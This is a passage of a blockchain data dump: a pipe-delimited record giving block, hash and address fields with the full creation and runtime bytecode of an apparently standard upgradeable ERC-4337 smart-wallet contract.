c53409418e4fa745480d0e85b53510553873d6d68cc9bcdb864736f6c634300080f0033416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a264697066735822122099d69ab3ace1acfd1b7b4773ff1b5f5d198d48b6400a053f07d8ef8df781b35c64736f6c634300080f0033 | |
1 | 20,290,644 | c53b7f8bc882020dc45f9c91a8cf52aa12896e530a4aee1b595e0a33f741be1c | 3065121c59e711573b75f441a6bbc4d60e5eb0d1a6077bae7f7d1585ae026ed4 | a0649927458e5fa49b93d970f01c40c788577f22 | 50585668eaa39bbdb5f6a66cf0d7c0fa25c9c0a7 | 083075f484a927349448665c362ae77f1329c282 | 60c0604052306080523480156200001557600080fd5b506040516200279f3803806200279f833981016040819052620000389162000117565b6001600160a01b03811660a0526200004f62000056565b5062000149565b600054610100900460ff1615620000c35760405162461bcd60e51b815260206004820152602760248201527f496e697469616c697a61626c653a20636f6e747261637420697320696e697469604482015266616c697a696e6760c81b606482015260840160405180910390fd5b60005460ff9081161462000115576000805460ff191660ff9081179091556040519081527f7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb38474024989060200160405180910390a15b565b6000602082840312156200012a57600080fd5b81516001600160a01b03811681146200014257600080fd5b9392505050565b60805160a0516125e3620001bc6000396000818161036a01528181610a0601528181610ab401528181610ed001528181611121015281816113980152818161155d0152611770015260008181610635015281816106ea01528181610b7001528181610c200152610d6901526125e36000f3fe6080604052600436106101475760003560e01c80634f1ef286116100c0578063bc197c8111610074578063c4d66de811610059578063c4d66de81461040b578063d087d2881461042b578063f23a6e611461044057600080fd5b8063bc197c81146103ae578063c399ec88146103f657600080fd5b80638da5cb5b116100a55780638da5cb5b14610303578063b0d691fe1461035b578063b61d27f61461038e57600080fd5b80634f1ef286146102db57806352d1902d146102ee57600080fd5b80633659cfe61161011757806347e1da2a116100fc57806347e1da2a146102935780634a58db19146102b35780634d44560d146102bb57600080fd5b80633659cfe6146102455780633a871cdd1461026557600080fd5b806223de291461015357806301ffc9a71461017a578063150b7a02146101af5780631626ba7e1461022557600080fd5b3661014e57005b600080fd5b34801561015f57600080fd5b5061017861016e366004611e11565b5050505050505050565b005b34801561018657600080fd5b5061019a610195366004611ec2565b610486565b60405190151581526020015b60405180910390f35b3480156101bb57600080fd5b506101f46101ca366004611f04565b7f150b7a020000000000000000000000000000000000000000000000000000000095945050505050565b6040517fffffffff0000000000000000000000000000000000000000000000000000000090911681526020016101a6565b34801561023157600080fd5b506101f4610240366004612051565b61056b565b34801561025157600080fd5b50610178610260366004612098565b61061e565b34801561027157600080fd5b506102856102803660046120b5565b610828565b6040519081526020016101a6565b34801561029f57600080fd5b506101786102ae36600461214e565b61084e565b610178610a04565b3480156102c757600080fd5b506101786102d63660046121e8565b610aaa565b6101786102e9366004612214565b610b59565b3480156102fa57600080fd5b50610285610d4f565b34801561030f57600080fd5b506000546103369062010000900473ffffffffffffffffffffffffffffffffffffffff1681565b60405173ffffffffffffffffffffffffffffffffffffffff90911681526020016101a6565b34801561036757600080fd5b507f0000000000000000000000000000000000000000000000000000000000000000610336565b34801561039a57600080fd5b506101786103a936600461224e565b610e3b565b3480156103ba57600080fd5b506101f46103c93660046122aa565b7fbc197c810000000000000000000000000000000000000000000000000000000098975050505050505050565b34801561040257600080fd5b50610285610e8a565b34801561041757600080fd5b50610178610426366004612098565b610f41565b34801561043757600080fd5b506102856110d4565b34801561044c57600080fd5b506101f461045b366004612348565b7ff23a6e61000000000000000000000000000000000000000000000000000000009695505050505050565b60007fffffffff0000000000000000000000000000000000000000000000000000000082167f150b7a0200000000000000000000000000000000000000000000000000000000148061051957507fffffffff0000000000000000000000000000000000000000000000000000000082167f4e2312e000000000000000000000000000000000000000000000000000000000145b8061056557507fffffffff0000000000000000000000000000000000000000000000000000000082167f01ffc9a700000000000000000000000000000000000000000000000000000000145b92915050565b7f19457468657265756d205369676e6564204d6573736167653a0a3332000000006000908152601c839052603c81206105a48184611150565b60005462010000900473ffffffffffffffffffffffffffffffffffffffff9081169116146105f557507fffffffff000000000000000000000000000000000000000000000000000000009050610565565b507f1626ba7e000000000000000000000000000000000000000000000000000000009392505050565b73ffffffffffffffffffffffffffffffffffffffff7f00000000000000000000000000000000000000000000000000000000000000001630036106e8576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602c60248201527f46756e6374696f6e206d7573742062652063616c6c6564207468726f7567682060448201527f64656c656761746563616c6c000000000000000000000000000000000000000060648201526084015b60405180910390fd5b7f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff1661075d7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc5473ffffffffffffffffffffffffffffffffffffffff1690565b73ffffffffffffffffffffffffffffffffffffffff1614610800576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602c60248201527f46756e6374696f6e206d7573742062652063616c6c6564207468726f7567682060448201527f6163746976652070726f7879000000000000000000000000000000000000000060648201526084016106df565b61080981611174565b604080516000808252602082019092526108259183919061117c565b50565b6000610832611380565b61083c8484611421565b9050610847826114da565b9392505050565b610856611545565b848114801561086c575082158061086c57508281145b6108d2576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601360248201527f77726f6e67206172726179206c656e677468730000000000000000000000000060448201526064016106df565b60008390036109885760005b85811015610982576109708787838181106108fb576108fb6123b2565b90506020020160208101906109109190612098565b6000858585818110610924576109246123b2565b905060200281019061093691906123e1565b8080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525061160c92505050565b8061097a81612446565b9150506108de565b506109fc565b60005b858110156109fa576109e88787838181106109a8576109a86123b2565b90506020020160208101906109bd9190612098565b8686848181106109cf576109cf6123b2565b90506020020135858585818110610924576109246123b2565b806109f281612446565b91505061098b565b505b505050505050565b7f00000000000000000000000000000000000000000000000000000000000000006040517fb760faf900000000000000000000000000000000000000000000000000000000815230600482015273ffffffffffffffffffffffffffffffffffffffff919091169063b760faf99034906024016000604051808303818588803b158015610a8f57600080fd5b505af1158015610aa3573d6000803e3d6000fd5b5050505050565b610ab2611689565b7f00000000000000000000000000000000000000000000000000000000000000006040517f205c287800000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff848116600483015260248201849052919091169063205c287890604401600060405180830381600087803b158015610b4557600080fd5b505af11580156109fc573d6000803e3d6000fd5b73ffffffffffffffffffffffffffffffffffffffff7f0000000000000000000000000000000000000000000000000000000000000000163003610c1e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602c60248201527f46756e6374696f6e206d7573742062652063616c6c6564207468726f7567682060448201527f64656c656761746563616c6c000000000000000000000000000000000000000060648201526084016106df565b7f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff16610c937f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc5473ffffffffffffffffffffffffffffffffffffffff1690565b73ffffffffffffffffffffffffffffffffffffffff1614610d36576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602c60248201527f46756e6374696f6e206d7573742062652063616c6c6564207468726f7567682060448201527f6163746976652070726f7879000000000000000000000000000000000000000060648201526084016106df565b610d3f82611174565b610d4b8282600161117c565b5050565b60003073ffffffffffffffffffffffffffffffffffffffff7f00000000000000000000000000000000000000000000000000000000000000001614610e16576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152603860248201527f555550535570677261646561626c653a206d757374206e6f742062652063616c60448201527f6c6564207468726f7567682064656c656761746563616c6c000000000000000060648201526084016106df565b507f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc90565b610e43611545565b610e84848484848080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525061160c92505050565b50505050565b6040517f70a0823100000000000000000000000000000000000000000000000000000000815230600482015260009073ffffffffffffffffffffffffffffffffffffffff7f000000000000000000000000000000000000000000000000000000000000000016906370a08231906024015b602060405180830381865afa158015610f18573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f3c91906124a5565b905090565b600054610100900460ff1615808015610f615750600054600160ff909116105b80610f7b5750303b158015610f7b575060005460ff166001145b611007576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602e60248201527f496e697469616c697a61626c653a20636f6e747261637420697320616c72656160448201527f647920696e697469616c697a656400000000000000000000000000000000000060648201526084016106df565b600080547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00166001179055801561106557600080547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00ff166101001790555b61106e8261171a565b8015610d4b57600080547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00ff169055604051600181527f7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb38474024989060200160405180910390a15050565b6040517f35567e1a0000000000000000000000000000000000000000000000000000000081523060048201526000602482018190529073ffffffffffffffffffffffffffffffffffffffff7f000000000000000000000000000000000000000000000000000000000000000016906335567e1a90604401610efb565b600080600061115f85856117b9565b9150915061116c816117fe565b509392505050565b610825611689565b7f4910fdfa16fed3260ed0e7147f7cc6da11a60208b5b9406d12a635614ffd91435460ff16156111b4576111af836119b1565b505050565b8273ffffffffffffffffffffffffffffffffffffffff166352d1902d6040518163ffffffff1660e01b8152600401602060405180830381865afa925050508015611239575060408051601f3d9081017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0168201909252611236918101906124a5565b60015b6112c5576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602e60248201527f45524331393637557067726164653a206e657720696d706c656d656e7461746960448201527f6f6e206973206e6f74205555505300000000000000000000000000000000000060648201526084016106df565b7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc8114611374576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602960248201527f45524331393637557067726164653a20756e737570706f727465642070726f7860448201527f6961626c6555554944000000000000000000000000000000000000000000000060648201526084016106df565b506111af838383611abb565b3373ffffffffffffffffffffffffffffffffffffffff7f0000000000000000000000000000000000000000000000000000000000000000161461141f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601c60248201527f6163636f756e743a206e6f742066726f6d20456e747279506f696e740000000060448201526064016106df565b565b7f19457468657265756d205369676e6564204d6573736167653a0a3332000000006000908152601c829052603c812061149e6114616101408601866123e1565b8080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525085939250506111509050565b60005462010000900473ffffffffffffffffffffffffffffffffffffffff9081169116146114d0576001915050610565565b5060009392505050565b80156108255760405160009033907fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff90849084818181858888f193505050503d8060008114610aa3576040519150601f19603f3d011682016040523d82523d6000602084013e610aa3565b3373ffffffffffffffffffffffffffffffffffffffff7f00000000000000000000000000000000000000000000000000000000000000001614806115a6575060005462010000900473ffffffffffffffffffffffffffffffffffffffff1633145b61141f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820181905260248201527f6163636f756e743a206e6f74204f776e6572206f7220456e747279506f696e7460448201526064016106df565b6000808473ffffffffffffffffffffffffffffffffffffffff16848460405161163591906124ea565b60006040518083038185875af1925050503d8060008114611672576040519150601f19603f3d011682016040523d82523d6000602084013e611677565b606091505b509150915081610aa357805160208201fd5b60005462010000900473ffffffffffffffffffffffffffffffffffffffff163314806116b457503330145b61141f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600a60248201527f6f6e6c79206f776e65720000000000000000000000000000000000000000000060448201526064016106df565b600080547fffffffffffffffffffff0000000000000000000000000000000000000000ffff166201000073ffffffffffffffffffffffffffffffffffffffff8481168202929092178084556040519190048216927f0000000000000000000000000000000000000000000000000000000000000000909216917f8c299b338bd4e1ca9665a6148e47478b404f85f73d89b92bb9dd7d9b96c4325d91a350565b60008082516041036117ef5760208301516040840151606085015160001a6117e387828585611ae0565b945094505050506117f7565b506000905060025b9250929050565b600081600481111561181257611812612506565b0361181a5750565b600181600481111561182e5761182e612506565b03611895576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601860248201527f45434453413a20696e76616c6964207369676e6174757265000000000000000060448201526064016106df565b60028160048111156118a9576118a9612506565b03611910576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601f60248201527f45434453413a20696e76616c6964207369676e6174757265206c656e6774680060448201526064016106df565b600381600481111561192457611924612506565b03610825576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602260248201527f45434453413a20696e76616c6964207369676e6174757265202773272076616c60448201527f756500000000000000000000000000000000000000000000000000000000000060648201526084016106df565b73ffffffffffffffffffffffffffffffffffffffff81163b611a55576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201527f6f74206120636f6e74726163740000000000000000000000000000000000000060648201526084016106df565b7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc80547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff92909216919091179055565b611ac483611bcf565b600082511180611ad15750805b156111af57610e848383611c1c565b6000807f7fffffffffffffffffffffffffffffff5d576e7357a4501ddfe92f46681b20a0831115611b175750600090506003611bc6565b6040805160008082526020820180845289905260ff881692820192909252606081018690526080810185905260019060a0016020604051602081039080840390855afa158015611b6b573d6000803e3d6000fd5b50506040517fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0015191505073ffffffffffffffffffffffffffffffffffffffff8116611bbf57600060019250925050611bc6565b9150600090505b94509492505050565b611bd8816119b1565b60405173ffffffffffffffffffffffffffffffffffffffff8216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b606061084783836040518060600160405280602781526020016125876027913960606000808573ffffffffffffffffffffffffffffffffffffffff1685604051611c6691906124ea565b600060405180830381855af49150503d8060008114611ca1576040519150601f19603f3d011682016040523d82523d6000602084013e611ca6565b606091505b5091509150611cb786838387611cc1565b9695505050505050565b60608315611d57578251600003611d505773ffffffffffffffffffffffffffffffffffffffff85163b611d50576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601d60248201527f416464726573733a2063616c6c20746f206e6f6e2d636f6e747261637400000060448201526064016106df565b5081611d61565b611d618383611d69565b949350505050565b815115611d795781518083602001fd5b806040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106df9190612535565b73ffffffffffffffffffffffffffffffffffffffff8116811461082557600080fd5b60008083601f840112611de157600080fd5b50813567ffffffffffffffff811115611df957600080fd5b6020830191508360208285010111156117f757600080fd5b60008060008060008060008060c0898b031215611e2d57600080fd5b8835611e3881611dad565b97506020890135611e4881611dad565b96506040890135611e5881611dad565b955060608901359450608089013567ffffffffffffffff80821115611e7c57600080fd5b611e888c838d01611dcf565b909650945060a08b0135915080821115611ea157600080fd5b50611eae8b828c01611dcf565b999c989b5096995094979396929594505050565b600060208284031215611ed457600080fd5b81357fffffffff000000000000000000000000000000000000000000000000000000008116811461084757600080fd5b600080600080600060808688031215611f1c57600080fd5b8535611f2781611dad565b94506020860135611f3781611dad565b935060408601359250606086013567ffffffffffffffff811115611f5a57600080fd5b611f6688828901611dcf565b969995985093965092949392505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600082601f830112611fb757600080fd5b813567ffffffffffffffff80821115611fd257611fd2611f77565b604051601f83017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0908116603f0116810190828211818310171561201857612018611f77565b8160405283815286602085880101111561203157600080fd5b836020870160208301376000602085830101528094505050505092915050565b6000806040838503121561206457600080fd5b82359150602083013567ffffffffffffffff81111561208257600080fd5b61208e85828601611fa6565b9150509250929050565b6000602082840312156120aa57600080fd5b813561084781611dad565b6000806000606084860312156120ca57600080fd5b833567ffffffffffffffff8111156120e157600080fd5b840161016081870312156120f457600080fd5b95602085013595506040909401359392505050565b60008083601f84011261211b57600080fd5b50813567ffffffffffffffff81111561213357600080fd5b6020830191508360208260051b85010111156117f757600080fd5b6000806000806000806060878903121561216757600080fd5b863567ffffffffffffffff8082111561217f57600080fd5b61218b8a838b01612109565b909850965060208901359150808211156121a457600080fd5b6121b08a838b01612109565b909650945060408901359150808211156121c957600080fd5b506121d689828a01612109565b979a9699509497509295939492505050565b600080604083850312156121fb57600080fd5b823561220681611dad565b946020939093013593505050565b6000806040838503121561222757600080fd5b823561223281611dad565b9150602083013567ffffffffffffffff81111561208257600080fd5b6000806000806060858703121561226457600080fd5b843561226f81611dad565b935060208501359250604085013567ffffffffffffffff81111561229257600080fd5b61229e87828801611dcf565b95989497509550505050565b60008060008060008060008060a0898b0312156122c657600080fd5b88356122d181611dad565b975060208901356122e181611dad565b9650604089013567ffffffffffffffff808211156122fe57600080fd5b61230a8c838d01612109565b909850965060608b013591508082111561232357600080fd5b61232f8c838d01612109565b909650945060808b0135915080821115611ea157600080fd5b60008060008060008060a0878903121561236157600080fd5b863561236c81611dad565b9550602087013561237c81611dad565b94506040870135935060608701359250608087013567ffffffffffffffff8111156123a657600080fd5b6121d689828a01611dcf565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60008083357fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe184360301811261241657600080fd5b83018035915067ffffffffffffffff82111561243157600080fd5b6020019150368190038213156117f757600080fd5b60007fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff820361249e577f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b5060010190565b6000602082840312156124b757600080fd5b5051919050565b60005b838110156124d95781810151838201526020016124c1565b83811115610e845750506000910152565b600082516124fc8184602087016124be565b9190910192915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602160045260246000fd5b60208152600082518060208401526125548160408501602087016124be565b601f017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe016919091016040019291505056fe416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a26469706673582212205b825edb6867b32e7df82a666780a16c09f354e2dcea362ae0495783882e0be164736f6c634300080f00330000000000000000000000005ff137d4b0fdcd49dca30c7cf57e578a026d2789 | 6080604052600436106101475760003560e01c80634f1ef286116100c0578063bc197c8111610074578063c4d66de811610059578063c4d66de81461040b578063d087d2881461042b578063f23a6e611461044057600080fd5b8063bc197c81146103ae578063c399ec88146103f657600080fd5b80638da5cb5b116100a55780638da5cb5b14610303578063b0d691fe1461035b578063b61d27f61461038e57600080fd5b80634f1ef286146102db57806352d1902d146102ee57600080fd5b80633659cfe61161011757806347e1da2a116100fc57806347e1da2a146102935780634a58db19146102b35780634d44560d146102bb57600080fd5b80633659cfe6146102455780633a871cdd1461026557600080fd5b806223de291461015357806301ffc9a71461017a578063150b7a02146101af5780631626ba7e1461022557600080fd5b3661014e57005b600080fd5b34801561015f57600080fd5b5061017861016e366004611e11565b5050505050505050565b005b34801561018657600080fd5b5061019a610195366004611ec2565b610486565b60405190151581526020015b60405180910390f35b3480156101bb57600080fd5b506101f46101ca366004611f04565b7f150b7a020000000000000000000000000000000000000000000000000000000095945050505050565b6040517fffffffff0000000000000000000000000000000000000000000000000000000090911681526020016101a6565b34801561023157600080fd5b506101f4610240366004612051565b61056b565b34801561025157600080fd5b50610178610260366004612098565b61061e565b34801561027157600080fd5b506102856102803660046120b5565b610828565b6040519081526020016101a6565b34801561029f57600080fd5b506101786102ae36600461214e565b61084e565b610178610a04565b3480156102c757600080fd5b506101786102d63660046121e8565b610aaa565b6101786102e9366004612214565b610b59565b3480156102fa57600080fd5b50610285610d4f565b34801561030f57600080fd5b506000546103369062010000900473ffffffffffffffffffffffffffffffffffffffff1681565b60405173ffffffffffffffffffffffffffffffffffffffff90911681526020016101a6565b34801561036757600080fd5b507f0000000000000000000000005ff137d4b0fdcd49dca30c7cf57e578a026d2789610336565b34801561039a57600080fd5b506101786103a936600461224e565b610e3b565b3480156103ba57600080fd5b506101f46103c93660046122aa565b7fbc197c810000000000000000000000000000000000000000000000000000000098975050505050505050565b34801561040257600080fd5b50610285610e8a565b34801561041757600080fd5b50610178610426366004612098565b610f41565b34801561043757600080fd5b506102856110d4565b34801561044c57600080fd5b506101f461045b366004612348565b7ff23a6e61000000000000000000000000000000000000000000000000000000009695505050505050565b60007fffffffff0000000000000000000000000000000000000000000000000000000082167f150b7a0200000000000000000000000000000000000000000000000000000000148061051957507fffffffff0000000000000000000000000000000000000000000000000000000082167f4e2312e000000000000000000000000000000000000000000000000000000000145b8061056557507fffffffff0000000000000000000000000000000000000000000000000000000082167f01ffc9a700000000000000000000000000000000000000000000000000000000145b92915050565b7f19457468657265756d205369676e6564204d6573736167653a0a3332000000006000908152601c839052603c81206105a48184611150565b60005462010000900473ffffffffffffffffffffffffffffffffffffffff9081169116146105f557507fffffffff000000000000000000000000000000000000000000000000000000009050610565565b507f1626ba7e000000000000000000000000000000000000000000000000000000009392505050565b73ffffffffffffffffffffffffffffffffffffffff7f000000000000000000000000083075f484a927349448665c362ae77f1329c2821630036106e8576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602c60248201527f46756e6374696f6e206d7573742062652063616c6c6564207468726f7567682060448201527f64656c656761746563616c6c000000000000000000000000000000000000000060648201526084015b60405180910390fd5b7f000000000000000000000000083075f484a927349448665c362ae77f1329c28273ffffffffffffffffffffffffffffffffffffffff1661075d7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc5473ffffffffffffffffffffffffffffffffffffffff1690565b73ffffffffffffffffffffffffffffffffffffffff1614610800576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602c60248201527f46756e6374696f6e206d7573742062652063616c6c6564207468726f7567682060448201527f6163746976652070726f7879000000000000000000000000000000000000000060648201526084016106df565b61080981611174565b604080516000808252602082019092526108259183919061117c565b50565b6000610832611380565b61083c8484611421565b9050610847826114da565b9392505050565b610856611545565b848114801561086c575082158061086c57508281145b6108d2576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601360248201527f77726f6e67206172726179206c656e677468730000000000000000000000000060448201526064016106df565b60008390036109885760005b85811015610982576109708787838181106108fb576108fb6123b2565b90506020020160208101906109109190612098565b6000858585818110610924576109246123b2565b905060200281019061093691906123e1565b8080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525061160c92505050565b8061097a81612446565b9150506108de565b506109fc565b60005b858110156109fa576109e88787838181106109a8576109a86123b2565b90506020020160208101906109bd9190612098565b8686848181106109cf576109cf6123b2565b90506020020135858585818110610924576109246123b2565b806109f281612446565b91505061098b565b505b505050505050565b7f0000000000000000000000005ff137d4b0fdcd49dca30c7cf57e578a026d27896040517fb760faf900000000000000000000000000000000000000000000000000000000815230600482015273ffffffffffffffffffffffffffffffffffffffff919091169063b760faf99034906024016000604051808303818588803b158015610a8f57600080fd5b505af1158015610aa3573d6000803e3d6000fd5b5050505050565b610ab2611689565b7f0000000000000000000000005ff137d4b0fdcd49dca30c7cf57e578a026d27896040517f205c287800000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff848116600483015260248201849052919091169063205c287890604401600060405180830381600087803b158015610b4557600080fd5b505af11580156109fc573d6000803e3d6000fd5b73ffffffffffffffffffffffffffffffffffffffff7f000000000000000000000000083075f484a927349448665c362ae77f1329c282163003610c1e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602c60248201527f46756e6374696f6e206d7573742062652063616c6c6564207468726f7567682060448201527f64656c656761746563616c6c000000000000000000000000000000000000000060648201526084016106df565b7f000000000000000000000000083075f484a927349448665c362ae77f1329c28273ffffffffffffffffffffffffffffffffffffffff16610c937f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc5473ffffffffffffffffffffffffffffffffffffffff1690565b73ffffffffffffffffffffffffffffffffffffffff1614610d36576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602c60248201527f46756e6374696f6e206d7573742062652063616c6c6564207468726f7567682060448201527f6163746976652070726f7879000000000000000000000000000000000000000060648201526084016106df565b610d3f82611174565b610d4b8282600161117c565b5050565b60003073ffffffffffffffffffffffffffffffffffffffff7f000000000000000000000000083075f484a927349448665c362ae77f1329c2821614610e16576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152603860248201527f555550535570677261646561626c653a206d757374206e6f742062652063616c60448201527f6c6564207468726f7567682064656c656761746563616c6c000000000000000060648201526084016106df565b507f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc90565b610e43611545565b610e84848484848080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525061160c92505050565b50505050565b6040517f70a0823100000000000000000000000000000000000000000000000000000000815230600482015260009073ffffffffffffffffffffffffffffffffffffffff7f0000000000000000000000005ff137d4b0fdcd49dca30c7cf57e578a026d278916906370a08231906024015b602060405180830381865afa158015610f18573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f3c91906124a5565b905090565b600054610100900460ff1615808015610f615750600054600160ff909116105b80610f7b5750303b158015610f7b575060005460ff166001145b611007576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602e60248201527f496e697469616c697a61626c653a20636f6e747261637420697320616c72656160448201527f647920696e697469616c697a656400000000000000000000000000000000000060648201526084016106df565b600080547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00166001179055801561106557600080547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00ff166101001790555b61106e8261171a565b8015610d4b57600080547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00ff169055604051600181527f7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb38474024989060200160405180910390a15050565b6040517f35567e1a0000000000000000000000000000000000000000000000000000000081523060048201526000602482018190529073ffffffffffffffffffffffffffffffffffffffff7f0000000000000000000000005ff137d4b0fdcd49dca30c7cf57e578a026d278916906335567e1a90604401610efb565b600080600061115f85856117b9565b9150915061116c816117fe565b509392505050565b610825611689565b7f4910fdfa16fed3260ed0e7147f7cc6da11a60208b5b9406d12a635614ffd91435460ff16156111b4576111af836119b1565b505050565b8273ffffffffffffffffffffffffffffffffffffffff166352d1902d6040518163ffffffff1660e01b8152600401602060405180830381865afa925050508015611239575060408051601f3d9081017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0168201909252611236918101906124a5565b60015b6112c5576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602e60248201527f45524331393637557067726164653a206e657720696d706c656d656e7461746960448201527f6f6e206973206e6f74205555505300000000000000000000000000000000000060648201526084016106df565b7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc8114611374576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602960248201527f45524331393637557067726164653a20756e737570706f727465642070726f7860448201527f6961626c6555554944000000000000000000000000000000000000000000000060648201526084016106df565b506111af838383611abb565b3373ffffffffffffffffffffffffffffffffffffffff7f0000000000000000000000005ff137d4b0fdcd49dca30c7cf57e578a026d2789161461141f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601c60248201527f6163636f756e743a206e6f742066726f6d20456e747279506f696e740000000060448201526064016106df565b565b7f19457468657265756d205369676e6564204d6573736167653a0a3332000000006000908152601c829052603c812061149e6114616101408601866123e1565b8080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525085939250506111509050565b60005462010000900473ffffffffffffffffffffffffffffffffffffffff9081169116146114d0576001915050610565565b5060009392505050565b80156108255760405160009033907fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff90849084818181858888f193505050503d8060008114610aa3576040519150601f19603f3d011682016040523d82523d6000602084013e610aa3565b3373ffffffffffffffffffffffffffffffffffffffff7f0000000000000000000000005ff137d4b0fdcd49dca30c7cf57e578a026d27891614806115a6575060005462010000900473ffffffffffffffffffffffffffffffffffffffff1633145b61141f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820181905260248201527f6163636f756e743a206e6f74204f776e6572206f7220456e747279506f696e7460448201526064016106df565b6000808473ffffffffffffffffffffffffffffffffffffffff16848460405161163591906124ea565b60006040518083038185875af1925050503d8060008114611672576040519150601f19603f3d011682016040523d82523d6000602084013e611677565b606091505b509150915081610aa357805160208201fd5b60005462010000900473ffffffffffffffffffffffffffffffffffffffff163314806116b457503330145b61141f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600a60248201527f6f6e6c79206f776e65720000000000000000000000000000000000000000000060448201526064016106df565b600080547fffffffffffffffffffff0000000000000000000000000000000000000000ffff166201000073ffffffffffffffffffffffffffffffffffffffff8481168202929092178084556040519190048216927f0000000000000000000000005ff137d4b0fdcd49dca30c7cf57e578a026d2789909216917f8c299b338bd4e1ca9665a6148e47478b404f85f73d89b92bb9dd7d9b96c4325d91a350565b60008082516041036117ef5760208301516040840151606085015160001a6117e387828585611ae0565b945094505050506117f7565b506000905060025b9250929050565b600081600481111561181257611812612506565b0361181a5750565b600181600481111561182e5761182e612506565b03611895576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601860248201527f45434453413a20696e76616c6964207369676e6174757265000000000000000060448201526064016106df565b60028160048111156118a9576118a9612506565b03611910576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601f60248201527f45434453413a20696e76616c6964207369676e6174757265206c656e6774680060448201526064016106df565b600381600481111561192457611924612506565b03610825576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602260248201527f45434453413a20696e76616c6964207369676e6174757265202773272076616c60448201527f756500000000000000000000000000000000000000000000000000000000000060648201526084016106df565b73ffffffffffffffffffffffffffffffffffffffff81163b611a55576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201527f6f74206120636f6e74726163740000000000000000000000000000000000000060648201526084016106df565